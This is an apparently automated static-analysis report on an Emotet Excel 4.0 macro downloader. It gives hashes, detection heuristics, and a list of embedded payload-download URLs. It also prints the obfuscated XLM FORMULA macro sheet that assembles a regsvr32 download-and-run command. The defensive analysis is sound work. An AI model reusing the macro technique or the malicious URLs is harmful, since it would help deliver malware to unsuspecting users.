Emotet — Office (OOXML) / .XLSM malware analysis

Static analysis result for SHA-256 615c8294a6e29920…

MALICIOUS

Office (OOXML) / .XLSM

33.0 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-03-16
MD5: ff08fb9b2101219ffee7a3f8c0521dc2 SHA-1: a05dcbe25676f86386c824804625b98e79f287d7 SHA-256: 615c8294a6e299201a43afdae3cf10cfe26a5528090f6c1b52b74e32a7c420df
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32

The file is an XLSM document containing Excel 4.0 macros, which is a strong indicator of malicious intent. The macros utilize dangerous functions like FORMULA to construct and execute commands. Specifically, it appears to be assembling a command to download a payload from one of the provided URLs using regsvr32.exe, as indicated by the 'SE_LOLBIN_RUN_COMMAND' heuristic and the embedded URL strings.

Heuristics 7

  • ClamAV: Xls.Downloader.Emotet03222-9941788-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet03222-9941788-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 5 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.aulavirtualapecc.com/server/qramDt1UIotz/ In macro / runtime command snippet
    • http://calzadoyuyin.com/cgj-bin/uzOOL/In document text (OOXML body / shared strings)
    • http://www.arkidecture.com/vendor/5Ibj6pmUm/In document text (OOXML body / shared strings)
    • https://www.berekethaber.com/dosyalar/2z6RZL/In document text (OOXML body / shared strings)
    • https://ingelse.net/Overview/slWIUhVtK/In document text (OOXML body / shared strings)
    • https://wimmergroup.com/home_tours/Pvnw2/In document text (OOXML body / shared strings)
    • http://bizztream.com/images/NS85wHTdIY9N5Ay/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 4122 bytes
SHA-256: db0a59e4a9d5995912532cf04297a579397bf9cc37c53dfcf4ddd0de285133c8
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B9128991-9E66-4361-927B-AE414DD7E4DF}"><dimension ref="F7"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="F8" sqref="F8"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="7.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="5" max="5" width="7.5703125" customWidth="1"/><col min="6" max="6" width="19.140625" hidden="1" customWidth="1"/></cols><sheetData><row r="7" spans="6:6" x14ac:dyDescent="0.25"><c r="F7" t="b"><f>FORMULA(Eggedv!P22&amp;Eggedv!H9&amp;Eggedv!L2&amp;Eggedv!B15&amp;Eggedv!B15&amp;Sheet!C8&amp;Sheet!I5&amp;Eggedv!F10&amp;Sheet!M11&amp;'O2'!B2&amp;Eggedv!L2&amp;Sheet!O8&amp;Lefs!J19&amp;Sheet!E14&amp;Lefs!S17&amp;Lefs!F18,F11)=FORMULA(Eggedv!P22&amp;Eggedv!J11&amp;Eggedv!B18&amp;Eggedv!P11&amp;"DPFW1"&amp;Lefs!Q7&amp;Eggedv!H9&amp;Eggedv!L2&amp;Eggedv!B15&amp;Eggedv!B15&amp;Sheet!C8&amp;Sheet!I5&amp;Eggedv!F10&amp;Sheet!M11&amp;'O2'!B2&amp;Eggedv!L2&amp;Sheet!O8&amp;Lefs!J19&amp;Sheet!F16&amp;Lefs!S17&amp;Lefs!F18&amp;Eggedv!P13,F13)=FORMULA(Eggedv!P22&amp;Eggedv!J11&amp;Eggedv!B18&amp;Eggedv!P11&amp;"DPFW2"&amp;Lefs!Q7&amp;Eggedv!H9&amp;Eggedv!L2&amp;Eggedv!B15&amp;Eggedv!B15&amp;Sheet!C8&amp;Sheet!I5&amp;Eggedv!F10&amp;Sheet!M11&amp;'O2'!B2&amp;Eggedv!L2&amp;Sheet!O8&amp;Lefs!J19&amp;Sheet!G14&amp;Lefs!S17&amp;Lefs!F18&amp;Eggedv!P13,F15)=FORMULA(Eggedv!P22&amp;Eggedv!J11&amp;Eggedv!B18&amp;Eggedv!P11&amp;"DPFW3"&amp;Lefs!Q7&amp;Eggedv!H9&amp;Eggedv!L2&amp;Eggedv!B15&amp;Eggedv!B15&amp;Sheet!C8&amp;Sheet!I5&amp;Eggedv!F10&amp;Sheet!M11&amp;'O2'!B2&amp;Eggedv!L2&amp;Sheet!O8&amp;Lefs!J19&amp;Sheet!H16&amp;Lefs!S17&amp;Lefs!F18&amp;Eggedv!P13,F17)=FORMULA(Eggedv!P22&amp;Eggedv!J11&amp;Eggedv!B18&amp;Eggedv!P11&amp;"DPFW4"&amp;Lefs!Q7&amp;Eggedv!H9&amp;Eggedv!L2&amp;Eggedv!B15&amp;Eggedv!B15&amp;Sheet!C8&amp;Sheet!I5&amp;Eggedv!F10&amp;Sheet!M11&amp;'O2'!B2&amp;Eggedv!L2&amp;Sheet!O8&amp;Lefs!J19&amp;Sheet!I14&amp;Lefs!S17&amp;Lefs!F18&amp;Eggedv!P13,F19)=FORMULA(Eggedv!P22&amp;Eggedv!J11&amp;Eggedv!B18&amp;Eggedv!P11&amp;"DPFW5"&amp;Lefs!Q7&amp;Eggedv!H9&amp;Eggedv!L2&amp;Eggedv!B15&amp;Eggedv!B15&amp;Sheet!C8&amp;Sheet!I5&amp;Eggedv!F10&amp;Sheet!M11&amp;'O2'!B2&amp;Eggedv!L2&amp;Sheet!O8&amp;Lefs!J19&amp;Sheet!J16&amp;Lefs!S17&amp;Lefs!F18&amp;Eggedv!P13,F21)=FORMULA(Eggedv!P22&amp;Eggedv!J11&amp;Eggedv!B18&amp;Eggedv!P11&amp;"DPFW6"&amp;Lefs!Q7&amp;Eggedv!H9&amp;Eggedv!L2&amp;Eggedv!B15&amp;Eggedv!B15&amp;Sheet!C8&amp;Sheet!I5&amp;Eggedv!F10&amp;Sheet!M11&amp;'O2'!B2&amp;Eggedv!L2&amp;Sheet!O8&amp;Lefs!J19&amp;Sheet!K14&amp;Lefs!S17&amp;Lefs!F18&amp;Eggedv!P13,F23)=FORMULA(Eggedv!P22&amp;Eggedv!J11&amp;Eggedv!B18&amp;Eggedv!P11&amp;"DPFW7"&amp;Lefs!Q7&amp;Eggedv!H9&amp;Eggedv!B15&amp;Eggedv!I17&amp;Eggedv!I3&amp;Eggedv!H13&amp;Eggedv!P11&amp;Eggedv!K9&amp;Eggedv!P13&amp;Eggedv!P7&amp;Eggedv!P13,F25)=FORMULA(Eggedv!P22&amp;Eggedv!H13&amp;Eggedv!N4&amp;Eggedv!H13&amp;Eggedv!H9&amp;Eggedv!P11&amp;Eggedv!P15&amp;Eggedv!H9&amp;Eggedv!P20&amp;Lefs!M14&amp;Lefs!N10&amp;Lefs!I6&amp;Sheet!R17&amp;Lefs!G12&amp;Eggedv!P15&amp;Eggedv!P13,F27)=FORMULA(Eggedv!P22&amp;Eggedv!G24&amp;Eggedv!H13&amp;Eggedv!E6&amp;Eggedv!E11&amp;Eggedv!G24&amp;Eggedv!K23&amp;Eggedv!P11&amp;Eggedv!P13,F33)</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>